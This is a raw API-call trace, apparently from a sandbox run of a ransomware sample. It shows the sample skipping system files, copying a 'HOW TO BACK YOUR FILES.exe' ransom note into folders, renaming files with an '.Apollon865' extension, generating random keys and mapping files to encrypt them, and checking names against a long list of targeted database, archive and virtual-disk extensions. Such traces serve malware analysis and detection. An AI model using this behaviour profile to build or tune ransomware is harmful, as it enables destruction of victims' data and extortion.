	[0054.963] lstrlenW (lpString=".lnk") returned 4
	[0054.963] lstrcmpiW (lpString1="Samarkand", lpString2=".lnk") returned 1
	[0054.963] lstrlenW (lpString=".ini") returned 4
	[0054.963] lstrcmpiW (lpString1="Samarkand", lpString2=".ini") returned 1
	[0054.963] lstrlenW (lpString=".sys") returned 4
	[0054.963] lstrcmpiW (lpString1="Samarkand", lpString2=".sys") returned 1
	[0054.963] lstrlenW (lpString="Samarkand") returned 9
	[0054.963] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Seoul" | out: lpString1="Seoul") returned="Seoul"
	[0054.963] lstrlenW (lpString="Seoul") returned 5
	[0054.963] lstrlenW (lpString="Apollon865") returned 10
	[0054.964] lstrlenW (lpString=".dll") returned 4
	[0054.964] lstrcmpiW (lpString1="Seoul", lpString2=".dll") returned 1
	[0054.964] lstrlenW (lpString=".lnk") returned 4
	[0054.964] lstrcmpiW (lpString1="Seoul", lpString2=".lnk") returned 1
	[0054.964] lstrlenW (lpString=".ini") returned 4
	[0054.964] lstrcmpiW (lpString1="Seoul", lpString2=".ini") returned 1
	[0054.964] lstrlenW (lpString=".sys") returned 4
	[0054.964] lstrcmpiW (lpString1="Seoul", lpString2=".sys") returned 1
	[0054.964] lstrlenW (lpString="Seoul") returned 5
	[0054.964] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Shanghai" | out: lpString1="Shanghai") returned="Shanghai"
	[0054.964] lstrlenW (lpString="Shanghai") returned 8
	[0054.964] lstrlenW (lpString="Apollon865") returned 10
	[0054.964] lstrlenW (lpString=".dll") returned 4
	[0054.964] lstrcmpiW (lpString1="Shanghai", lpString2=".dll") returned 1
	[0054.964] lstrlenW (lpString=".lnk") returned 4
	[0054.964] lstrcmpiW (lpString1="Shanghai", lpString2=".lnk") returned 1
	[0054.964] lstrlenW (lpString=".ini") returned 4
	[0054.964] lstrcmpiW (lpString1="Shanghai", lpString2=".ini") returned 1
	[0054.964] lstrlenW (lpString=".sys") returned 4
	[0054.964] lstrcmpiW (lpString1="Shanghai", lpString2=".sys") returned 1
	[0054.964] lstrlenW (lpString="Shanghai") returned 8
	[0054.964] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Singapore" | out: lpString1="Singapore") returned="Singapore"
	[0054.964] lstrlenW (lpString="Singapore") returned 9
	[0054.964] lstrlenW (lpString="Apollon865") returned 10
	[0054.964] lstrlenW (lpString=".dll") returned 4
	[0054.964] lstrcmpiW (lpString1="Singapore", lpString2=".dll") returned 1
	[0054.964] lstrlenW (lpString=".lnk") returned 4
	[0054.964] lstrcmpiW (lpString1="Singapore", lpString2=".lnk") returned 1
	[0054.964] lstrlenW (lpString=".ini") returned 4
	[0054.964] lstrcmpiW (lpString1="Singapore", lpString2=".ini") returned 1
	[0054.964] lstrlenW (lpString=".sys") returned 4
	[0054.964] lstrcmpiW (lpString1="Singapore", lpString2=".sys") returned 1
	[0054.965] lstrlenW (lpString="Singapore") returned 9
	[0054.965] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Taipei" | out: lpString1="Taipei") returned="Taipei"
	[0054.965] lstrlenW (lpString="Taipei") returned 6
	[0054.965] lstrlenW (lpString="Apollon865") returned 10
	[0054.965] lstrlenW (lpString=".dll") returned 4
	[0054.965] lstrcmpiW (lpString1="Taipei", lpString2=".dll") returned 1
	[0054.965] lstrlenW (lpString=".lnk") returned 4
	[0054.965] lstrcmpiW (lpString1="Taipei", lpString2=".lnk") returned 1
	[0054.965] lstrlenW (lpString=".ini") returned 4
	[0054.965] lstrcmpiW (lpString1="Taipei", lpString2=".ini") returned 1
	[0054.965] lstrlenW (lpString=".sys") returned 4
	[0054.965] lstrcmpiW (lpString1="Taipei", lpString2=".sys") returned 1
	[0054.965] lstrlenW (lpString="Taipei") returned 6
	[0054.965] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Tashkent" | out: lpString1="Tashkent") returned="Tashkent"
	[0054.965] lstrlenW (lpString="Tashkent") returned 8
	[0054.965] lstrlenW (lpString="Apollon865") returned 10
	[0054.965] lstrlenW (lpString=".dll") returned 4
	[0054.965] lstrcmpiW (lpString1="Tashkent", lpString2=".dll") returned 1
	[0054.965] lstrlenW (lpString=".lnk") returned 4
	[0054.965] lstrcmpiW (lpString1="Tashkent", lpString2=".lnk") returned 1
	[0054.965] lstrlenW (lpString=".ini") returned 4
	[0054.965] lstrcmpiW (lpString1="Tashkent", lpString2=".ini") returned 1
	[0054.965] lstrlenW (lpString=".sys") returned 4
	[0054.965] lstrcmpiW (lpString1="Tashkent", lpString2=".sys") returned 1
	[0054.965] lstrlenW (lpString="Tashkent") returned 8
	[0054.966] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Tbilisi" | out: lpString1="Tbilisi") returned="Tbilisi"
	[0054.966] lstrlenW (lpString="Tbilisi") returned 7
	[0054.966] lstrlenW (lpString="Apollon865") returned 10
	[0054.966] lstrlenW (lpString=".dll") returned 4
	[0054.966] lstrcmpiW (lpString1="Tbilisi", lpString2=".dll") returned 1
	[0054.966] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Tehran" | out: lpString1="Tehran") returned="Tehran"
	[0054.966] lstrlenW (lpString="Tehran") returned 6
	[0054.966] lstrlenW (lpString="Apollon865") returned 10
	[0054.966] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Thimphu" | out: lpString1="Thimphu") returned="Thimphu"
	[0054.966] lstrlenW (lpString="Thimphu") returned 7
	[0054.966] lstrlenW (lpString="Apollon865") returned 10
	[0054.966] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Tokyo" | out: lpString1="Tokyo") returned="Tokyo"
	[0054.966] lstrlenW (lpString="Tokyo") returned 5
	[0054.966] lstrlenW (lpString="Apollon865") returned 10
	[0054.966] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Ulaanbaatar" | out: lpString1="Ulaanbaatar") returned="Ulaanbaatar"
	[0054.966] lstrlenW (lpString="Ulaanbaatar") returned 11
	[0054.966] lstrlenW (lpString="Apollon865") returned 10
	[0054.966] lstrcmpiW (lpString1="laanbaatar", lpString2="Apollon865") returned 1
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Urumqi" | out: lpString1="Urumqi") returned="Urumqi"
	[0054.967] lstrlenW (lpString="Urumqi") returned 6
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Ust-Nera" | out: lpString1="Ust-Nera") returned="Ust-Nera"
	[0054.967] lstrlenW (lpString="Ust-Nera") returned 8
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Vientiane" | out: lpString1="Vientiane") returned="Vientiane"
	[0054.967] lstrlenW (lpString="Vientiane") returned 9
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Vladivostok" | out: lpString1="Vladivostok") returned="Vladivostok"
	[0054.967] lstrlenW (lpString="Vladivostok") returned 11
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.967] lstrcmpiW (lpString1="ladivostok", lpString2="Apollon865") returned 1
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Yakutsk" | out: lpString1="Yakutsk") returned="Yakutsk"
	[0054.967] lstrlenW (lpString="Yakutsk") returned 7
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.967] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Yekaterinburg" | out: lpString1="Yekaterinburg") returned="Yekaterinburg"
	[0054.967] lstrlenW (lpString="Yekaterinburg") returned 13
	[0054.967] lstrlenW (lpString="Apollon865") returned 10
	[0054.968] lstrcmpiW (lpString1="aterinburg", lpString2="Apollon865") returned 1
	[0054.968] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Yerevan" | out: lpString1="Yerevan") returned="Yerevan"
	[0054.968] lstrlenW (lpString="Yerevan") returned 7
	[0054.968] lstrlenW (lpString="Apollon865") returned 10
	[0054.968] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica"
	[0054.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0054.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0054.968] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned 50
	[0054.968] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica"
	[0054.968] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.968] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.976] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38d60010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38d60010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.976] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.976] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38d60010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38d60010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.976] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.976] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.976] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.976] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.976] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Casey", cAlternateFileName="")) returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="Apollon865.txt.exe") returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2=".") returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="..") returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="windows") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="bootmgr") returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="temp") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="pagefile.sys") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="boot") returned 1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="ids.txt") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="ntuser.dat") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="perflogs") returned -1
	[0054.976] lstrcmpiW (lpString1="Casey", lpString2="MSBuild") returned -1
	[0054.976] lstrlenW (lpString="Casey") returned 5
	[0054.976] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*") returned 52
	[0054.976] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Casey" | out: lpString1="Casey") returned="Casey"
	[0054.977] lstrlenW (lpString="Casey") returned 5
	[0054.977] lstrlenW (lpString="Apollon865") returned 10
	[0054.977] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Davis" | out: lpString1="Davis") returned="Davis"
	[0054.977] lstrlenW (lpString="Davis") returned 5
	[0054.977] lstrlenW (lpString="Apollon865") returned 10
	[0054.977] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis.Apollon865") returned 67
	[0054.977] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis.apollon865"), dwFlags=0x1) returned 1
	[0054.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.979] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=117) returned 1
	[0054.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0054.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0054.980] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0054.981] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.981] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.981] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x15c
	[0054.984] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x120000
	[0054.985] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0054.986] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.986] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0054.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0054.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.986] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.986] CloseHandle (hObject=0x15c) returned 1
	[0054.986] CloseHandle (hObject=0xc0) returned 1
	[0054.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0054.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0054.987] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DumontDUrville", cAlternateFileName="DUMONT~1")) returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="Apollon865.txt.exe") returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2=".") returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="..") returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="windows") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="bootmgr") returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="temp") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="pagefile.sys") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="boot") returned 1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="ids.txt") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="ntuser.dat") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="perflogs") returned -1
	[0054.987] lstrcmpiW (lpString1="DumontDUrville", lpString2="MSBuild") returned -1
	[0054.987] lstrlenW (lpString="DumontDUrville") returned 14
	[0054.987] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis") returned 56
	[0054.987] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="DumontDUrville" | out: lpString1="DumontDUrville") returned="DumontDUrville"
	[0054.987] lstrlenW (lpString="DumontDUrville") returned 14
	[0054.987] lstrlenW (lpString="Apollon865") returned 10
	[0054.987] lstrcmpiW (lpString1="ntDUrville", lpString2="Apollon865") returned 1
	[0054.988] lstrlenW (lpString=".dll") returned 4
	[0054.988] lstrcmpiW (lpString1="DumontDUrville", lpString2=".dll") returned 1
	[0054.988] lstrlenW (lpString=".lnk") returned 4
	[0054.988] lstrcmpiW (lpString1="DumontDUrville", lpString2=".lnk") returned 1
	[0054.988] lstrlenW (lpString=".ini") returned 4
	[0054.988] lstrcmpiW (lpString1="DumontDUrville", lpString2=".ini") returned 1
	[0054.988] lstrlenW (lpString=".sys") returned 4
	[0054.988] lstrcmpiW (lpString1="DumontDUrville", lpString2=".sys") returned 1
	[0054.988] lstrlenW (lpString="DumontDUrville") returned 14
	[0054.988] lstrlenW (lpString="bak") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="bak") returned 1
	[0054.988] lstrlenW (lpString="ba_") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="ba_") returned 1
	[0054.988] lstrlenW (lpString="dbb") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="dbb") returned 1
	[0054.988] lstrlenW (lpString="vmdk") returned 4
	[0054.988] lstrcmpiW (lpString1="ille", lpString2="vmdk") returned -1
	[0054.988] lstrlenW (lpString="rar") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="rar") returned -1
	[0054.988] lstrlenW (lpString="zip") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="zip") returned -1
	[0054.988] lstrlenW (lpString="tgz") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="tgz") returned -1
	[0054.988] lstrlenW (lpString="vbox") returned 4
	[0054.988] lstrcmpiW (lpString1="ille", lpString2="vbox") returned -1
	[0054.988] lstrlenW (lpString="vdi") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="vdi") returned -1
	[0054.988] lstrlenW (lpString="vhd") returned 3
	[0054.988] lstrcmpiW (lpString1="lle", lpString2="vhd") returned -1
	[0054.988] lstrlenW (lpString="vhdx") returned 4
	[0054.988] lstrcmpiW (lpString1="ille", lpString2="vhdx") returned -1
	[0054.989] lstrlenW (lpString="avhd") returned 4
	[0054.989] lstrcmpiW (lpString1="ille", lpString2="avhd") returned 1
	[0054.989] lstrlenW (lpString="db") returned 2
	[0054.989] lstrcmpiW (lpString1="le", lpString2="db") returned 1
	[0054.989] lstrlenW (lpString="db2") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="db2") returned 1
	[0054.989] lstrlenW (lpString="db3") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="db3") returned 1
	[0054.989] lstrlenW (lpString="dbf") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="dbf") returned 1
	[0054.989] lstrlenW (lpString="mdf") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="mdf") returned -1
	[0054.989] lstrlenW (lpString="mdb") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="mdb") returned -1
	[0054.989] lstrlenW (lpString="sql") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="sql") returned -1
	[0054.989] lstrlenW (lpString="sqlite") returned 6
	[0054.989] lstrcmpiW (lpString1="rville", lpString2="sqlite") returned -1
	[0054.989] lstrlenW (lpString="sqlite3") returned 7
	[0054.989] lstrcmpiW (lpString1="Urville", lpString2="sqlite3") returned 1
	[0054.989] lstrlenW (lpString="sqlitedb") returned 8
	[0054.989] lstrcmpiW (lpString1="DUrville", lpString2="sqlitedb") returned -1
	[0054.989] lstrlenW (lpString="xml") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="xml") returned -1
	[0054.989] lstrlenW (lpString="$er") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="$er") returned 1
	[0054.989] lstrlenW (lpString="4dd") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="4dd") returned 1
	[0054.989] lstrlenW (lpString="4dl") returned 3
	[0054.989] lstrcmpiW (lpString1="lle", lpString2="4dl") returned 1
	[0054.989] lstrlenW (lpString="^^^") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="^^^") returned 1
	[0054.990] lstrlenW (lpString="abs") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="abs") returned 1
	[0054.990] lstrlenW (lpString="abx") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="abx") returned 1
	[0054.990] lstrlenW (lpString="accdb") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accdb") returned 1
	[0054.990] lstrlenW (lpString="accdc") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accdc") returned 1
	[0054.990] lstrlenW (lpString="accde") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accde") returned 1
	[0054.990] lstrlenW (lpString="accdr") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accdr") returned 1
	[0054.990] lstrlenW (lpString="accdt") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accdt") returned 1
	[0054.990] lstrlenW (lpString="accdw") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accdw") returned 1
	[0054.990] lstrlenW (lpString="accft") returned 5
	[0054.990] lstrcmpiW (lpString1="ville", lpString2="accft") returned 1
	[0054.990] lstrlenW (lpString="adb") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="adb") returned 1
	[0054.990] lstrlenW (lpString="adb") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="adb") returned 1
	[0054.990] lstrlenW (lpString="ade") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="ade") returned 1
	[0054.990] lstrlenW (lpString="adf") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="adf") returned 1
	[0054.990] lstrlenW (lpString="adn") returned 3
	[0054.990] lstrcmpiW (lpString1="lle", lpString2="adn") returned 1
	[0054.990] lstrlenW (lpString="adp") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="adp") returned 1
	[0054.991] lstrlenW (lpString="alf") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="alf") returned 1
	[0054.991] lstrlenW (lpString="ask") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="ask") returned 1
	[0054.991] lstrlenW (lpString="btr") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="btr") returned 1
	[0054.991] lstrlenW (lpString="cat") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="cat") returned 1
	[0054.991] lstrlenW (lpString="cdb") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="cdb") returned 1
	[0054.991] lstrlenW (lpString="ckp") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="ckp") returned 1
	[0054.991] lstrlenW (lpString="cma") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="cma") returned 1
	[0054.991] lstrlenW (lpString="cpd") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="cpd") returned 1
	[0054.991] lstrlenW (lpString="dacpac") returned 6
	[0054.991] lstrcmpiW (lpString1="rville", lpString2="dacpac") returned 1
	[0054.991] lstrlenW (lpString="dad") returned 3
	[0054.991] lstrcmpiW (lpString1="lle", lpString2="dad") returned 1
	[0054.991] lstrlenW (lpString="dadiagrams") returned 10
	[0054.991] lstrcmpiW (lpString1="ntDUrville", lpString2="dadiagrams") returned 1
	[0054.991] lstrlenW (lpString="daschema") returned 8
	[0054.991] lstrcmpiW (lpString1="DUrville", lpString2="daschema") returned 1
	[0054.991] lstrlenW (lpString="db-journal") returned 10
	[0054.992] lstrcmpiW (lpString1="ntDUrville", lpString2="db-journal") returned 1
	[0054.992] lstrlenW (lpString="db-shm") returned 6
	[0054.992] lstrcmpiW (lpString1="rville", lpString2="db-shm") returned 1
	[0054.992] lstrlenW (lpString="db-wal") returned 6
	[0054.992] lstrcmpiW (lpString1="rville", lpString2="db-wal") returned 1
	[0054.992] lstrlenW (lpString="dbc") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dbc") returned 1
	[0054.992] lstrlenW (lpString="dbs") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dbs") returned 1
	[0054.992] lstrlenW (lpString="dbt") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dbt") returned 1
	[0054.992] lstrlenW (lpString="dbv") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dbv") returned 1
	[0054.992] lstrlenW (lpString="dbx") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dbx") returned 1
	[0054.992] lstrlenW (lpString="dcb") returned 3
